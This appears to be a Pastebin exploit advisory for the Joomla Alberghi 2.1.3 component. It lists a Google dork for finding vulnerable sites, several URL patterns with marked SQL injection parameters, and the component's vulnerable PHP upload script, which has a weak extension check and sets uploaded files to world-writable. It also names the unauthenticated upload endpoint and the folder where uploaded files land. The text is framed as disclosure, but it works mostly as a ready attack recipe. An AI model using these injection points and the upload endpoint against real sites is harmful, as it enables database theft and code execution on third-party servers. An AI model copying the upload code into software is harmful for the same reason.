Advertisement
KingSkrupellos

Joomla Alberghi Components 2.1.3 SQL Inj File Upload Vuln

Feb 26th, 2019
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.49 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla Alberghi Components 2.1.3 SQL Injection / Remote File Upload
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 27/02/2019
  7. # Vendor Homepage : alberghi.joomlaitalia.com
  8. # Software Download Links : alberghi.joomlaitalia.com/files/alberghi_2_1_3_SR.zip
  9. joomlaos.de/option,com_remository/Itemid,41/func,finishdown/id,2566.html
  10. # Software Information Links :
  11. joomlashow.it/directory/turismo/hotel-alberghi/
  12. joomlaportal.ru/news/extensions/components/1538-komponent-alberghi-2-1-3
  13. joomla.info.tr/joomla-dersleri/alberghi-213
  14. artio.net/de/e-shop/joomla-extensions/joomsef/joomsef-3-extensions/alberghi-joomsef-3-extension
  15. # Software Affected Versions : 2.1.1 and 2.1.3 and other previous versions
  16. # Tested On : Windows and Linux
  17. # Category : WebApps
  18. # Exploit Risk : Medium/High
  19. # Google Dorks : inurl:"/index.php?option=com_alberghi"
  20. # Vulnerability Types : CWE-89 [ Improper Neutralization of Special Elements
  21. used in an SQL Command ('SQL Injection') ]
  22. CWE-264 [ Permissions, Privileges, and Access Controls ]
  23. # Old Similar CVE : CVE-2008-1459
  24. cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1459
  25. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  26. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  27. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  28.  
  29. ####################################################################
  30.  
  31. # Description about Software :
  32. ***************************
  33. Joomla Alberghi is used for Hotels and Tourism websites service especially in Italy.
  34.  
  35. ####################################################################
  36.  
  37. Information about CVE Common Vulnerabilities and Exposures =>
  38. **********************************************************
  39. Note : CVE stands for Common Vulnerabilities and Exposures
  40. [Old Similar ] CVE doesn't mean copy-paste but they are original written by author in more details.
  41. It is a reference and proof of concept code - cve-identifier number - or whatever you call it.
  42. For example ; This Joomla exploits/vulnerabilities are very real and not fake.
  43. We support your products and software -
  44. so we don't want no vulnerabilities and we want secure internet.
  45. It is designed to allow vulnerability databases and other capabilities to be linked together,
  46. and to facilitate the comparison of security tools and service.
  47. According to the CVE website, a vulnerability is a mistake in software code that provides
  48. an attacker with direct access to a system or network.
  49. It could allow an attacker to pose as a super-user or system administrator with full access privileges.
  50. If an attacker gives somebody hacker's CVE doesn't mean that this is copy-paste exploit.
  51. CVE lists only publicly known vulnerabilities and exposures, which means
  52. skilled hackers likely know about them anyway.It takes much more work for an organization
  53. to protect its networks and fix all possible holes than it takes for a hacker to find
  54. a single vulnerability, exploit it, and compromise the network.
  55. There is growing agreement in the infosec community that sharing information is beneficial.
  56. This is reflected in the fact that the CVE Board and CNAs include key infosec organizations.
  57. CVE is a list of information security vulnerabilities and exposures that aims to provide
  58. common names for publicly known problems. The goal of CVE is to make it easier to
  59. share data across separate vulnerability capabilities (tools, repositories, and services)
  60. with this "common enumeration." Please visit cve.mitre.org/about/faqs.html for more information.
  61.  
  62. ####################################################################
  63.  
  64. # According to the CVE-2008-1459 =>
  65. ********************************
  66. SQL injection vulnerability in the Alberghi (com_alberghi) 2.1.3 and earlier component
  67.  
  68. for Mambo and Joomla! allows remote attackers to execute arbitrary SQL commands
  69.  
  70. via the id - itemid - catid - startpage parameters in a detail action to index.php.
  71.  
  72. ####################################################################
  73.  
  74. # Impact :
  75. ***********
  76. * Joomla Alberghi Components 2.1.3 [ and other versions ] component for Joomla is prone to an SQL-injection
  77.  
  78. vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  79.  
  80. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit l
  81.  
  82. atent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request t
  83.  
  84. o the vulnerable application and execute arbitrary SQL commands in application`s database.
  85.  
  86. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  87.  
  88. An attacker can exploit this issue using a browser.
  89.  
  90. * On the other hand this software is prone to a vulnerability that lets attackers upload arbitrary files.
  91.  
  92. The issue occurs because the application fails to adequately sanitize user-supplied input.
  93.  
  94. An attacker may leverage this issue to upload arbitrary files to the affected computer - sites or servers.
  95.  
  96. this can result in arbitrary code execution within the context of the vulnerable application.
  97.  
  98. ###################################################################
  99.  
  100. # SQL Injection Exploit :
  101. **********************
  102. /index.php?option=com_alberghi&%253BItemid=[SQL Injection]
  103.  
  104. /index.php?option=com_alberghi&task=detail&Itemid=[ID-NUMBER]&id=[SQL Injection]
  105.  
  106. /index.php?option=com_alberghi&task=viewAlberghi&Itemid=[SQL Injection]&letter=All
  107.  
  108. /index.php?option=com_alberghi&Itemid=&task=viewcategory&catid=[SQL Injection]
  109.  
  110. /index.php?option=com_alberghi&task=detail&Itemid=[ID-NUMBER]&catid=[ID-NUMBER]&id=[SQL Injection]
  111.  
  112. /index.php?option=com_alberghi&task=viewcategory&Itemid=&catid=[ID-NUMBER]&limitstart=[ID-NUMBER]&startpage=[SQL Injection]
  113.  
  114. ####################################################################
  115.  
  116. # Vulnerable Source Code : [ upload.alberghi.php ]
  117. *********************************************
  118.  
  119. <html>
  120. <head>
  121. <title>Caricamento / Upload</title>
  122. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  123. </head>
  124. <body bgcolor="#ffffff">
  125. </body>
  126. </html>
  127. <?php
  128.  
  129. // Check if logged in
  130. define( "_VALID_MOS", 1 );
  131.  
  132. $mode = $_GET['mode'];
  133. if ( $mode == "" ){
  134. $mode="stories_root";
  135. }
  136.  
  137. $directory = $_GET['directory'];
  138. if ( $directory == "" )
  139. {
  140. $directory = $_POST['directory'];
  141. $fileupload = $_POST['fileupload'];
  142. }
  143.  
  144. $userfile2=(isset($_FILES['userfile']['tmp_name']) ? $_FILES['userfile']['tmp_name'] : "");
  145. $userfile_name=(isset($_FILES['userfile']['name']) ? $_FILES['userfile']['name'] : "");
  146. if ($userfile_name != "") {
  147. if ($directory!="") {
  148. if ( $mode == "stories_root" ) {
  149. $base_Dir = "../../../images/stories/$directory/";
  150. }else if ( $mode == "alberghi_root" ){
  151. $base_Dir = "../../../components/com_alberghi/$directory/";
  152. }
  153. echo "BASE DIR [ $base_Dir ]";
  154. } else {
  155. echo "<script>alert('Seleziona una directory'); document.location.href='upload.alberghi.php';</script>";
  156. }
  157. if (empty($userfile_name)) {
  158. echo "<script>alert('Seleziona un immagine da caricare'); document.location.href='upload.alberghi.php';</script>";
  159. }
  160.  
  161. $filename = split("\.", $userfile_name);
  162.  
  163. if (eregi("[^0-9a-zA-Z_]", $filename[0])) {
  164.  
  165. echo "<script> alert('Il nome del file deve contenere solo caratteri alfanumerici senza spaziature - File name must have only alphabetical characters with no spaces.'); window.history.go(-1);</script>\n";
  166.  
  167. exit();
  168.  
  169. }
  170.  
  171. if (file_exists($base_Dir.$userfile_name)) {
  172.  
  173. echo "<script> alert('Una immagine chiamata $userfile_name esiste già - Image $userfile_name already exists.'); window.history.go(-1);</script>\n";
  174.  
  175. exit();
  176.  
  177. }
  178.  
  179.  
  180.  
  181. if ((strcasecmp(substr($userfile_name,-4),".gif")) && (strcasecmp(substr($userfile_name,-4),".jpg")) && (strcasecmp(substr($userfile_name,-4),".png"))) {
  182.  
  183. echo "<script>alert('Il file deve essere un gif, png o jpg - The file must be a gif, png or jpg'); window.history.go(-1);</script>\n";
  184.  
  185. exit();
  186.  
  187. }
  188.  
  189.  
  190. if (eregi(".pdf", $userfile_name) || eregi(".doc", $userfile_name) || eregi(".xls", $userfile_name) || eregi(".ppt", $userfile_name)) {
  191. if (!move_uploaded_file ($_FILES['userfile']['tmp_name'],$media_path.$_FILES['userfile']['name']) || !chmod($media_path.$_FILES['userfile']['name'],0777)) {
  192.  
  193. /*echo "<script>alert('Caricamento di $userfile_name fallito'); window.history.go(-1);</script>\n";*/
  194.  
  195. exit();
  196.  
  197. }
  198. else {
  199.  
  200. echo "<script>alert('Caricamento di $userfile_name avvenuto con successo - File $userfile_name has been successfully uploaded'); window.history.go(-1);</script>\n";
  201.  
  202. exit();
  203. }
  204. } elseif (!move_uploaded_file ($_FILES['userfile']['tmp_name'],$base_Dir.$_FILES['userfile']['name']) || !chmod($base_Dir.$_FILES['userfile']['name'],0777)) {
  205. /*echo "<script>alert('Caricamento di $userfile_name fallito'); window.history.go(-1);</script>\n";*/
  206. exit();
  207. }
  208. else {
  209.  
  210. echo "<script>alert('Caricamento di $userfile_name avvenuto con successo - File $userfile_name has been successfully uploaded'); window.history.go(-1);</script>\n";
  211.  
  212. exit();
  213. }
  214.  
  215.  
  216. }
  217. ?>
  218. <?php echo "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?".">"; ?>
  219. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  220. <html xmlns="http://www.w3.org/1999/xhtml">
  221. <head>
  222. <title>Carica un file</title>
  223. <style>
  224. .button {
  225.  
  226. color : #666666;
  227. border : 1px solid #666666;
  228. background-color : #ffffff;
  229. margin-top : 0px;
  230. font-family : arial, helvetica, sans-serif;
  231. font-size : 9px;
  232. height : 10px
  233. height : 10px;
  234. width : 140px
  235. width : 140px;
  236. }
  237. .inputbox {
  238. font-size : 10px;
  239. border : 1px solid #666666;
  240. background-color : #ffffff;
  241. margin-bottom : 5px;
  242. color : #666666;
  243. padding : 1px;
  244. }
  245.  
  246. .title {
  247. font-family : Arial, Helvetica, sans-serif;
  248. font-size : 12px;
  249. color : #004080;
  250. }
  251. </style>
  252. </head>
  253. <body>
  254. <table border=0 topmargin=0 bgcolor=FFFFFF cellpadding=2 cellspacing=0 align="center">
  255. <form method="post" action="<?php $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data" name="filename">
  256. <tr>
  257. <th class="title"> Carica File / Upload File : <?php echo $directory; ?></th>
  258. </tr>
  259. <tr>
  260. <td align="center">
  261. <input class="inputbox" name="userfile" type="file" />
  262. </td>
  263. </tr>
  264. <tr>
  265. <td>
  266. <input class="button" type="submit" value="Carica / Upload" name="fileupload" />
  267. </td>
  268. <tr>
  269. <td>
  270. <input type="hidden" name="directory" value="<?echo $directory;?>" />
  271. </td>
  272.  
  273. </tr>
  274. </form>
  275. </table>
  276. </body>
  277. </html>
  278.  
  279. ####################################################################
  280.  
  281. # Arbitrary Remote File Upload Exploit :
  282. ***********************************
  283. /administrator/components/com_alberghi/upload.alberghi.php
  284.  
  285. # Vulnerability Error :
  286. *******************
  287. Seleziona un immagine da caricare
  288.  
  289. alert('Seleziona una directory'); document.location.href='upload.alberghi.php';"; } if (empty($userfile_name)) { echo "
  290.  
  291. # Directory File Path :
  292. ******************
  293. /administrator/components/com_alberghi/[YOURFILENAME].png .gif .jpg .jpeg
  294.  
  295. ####################################################################
  296.  
  297. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  298.  
  299. ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement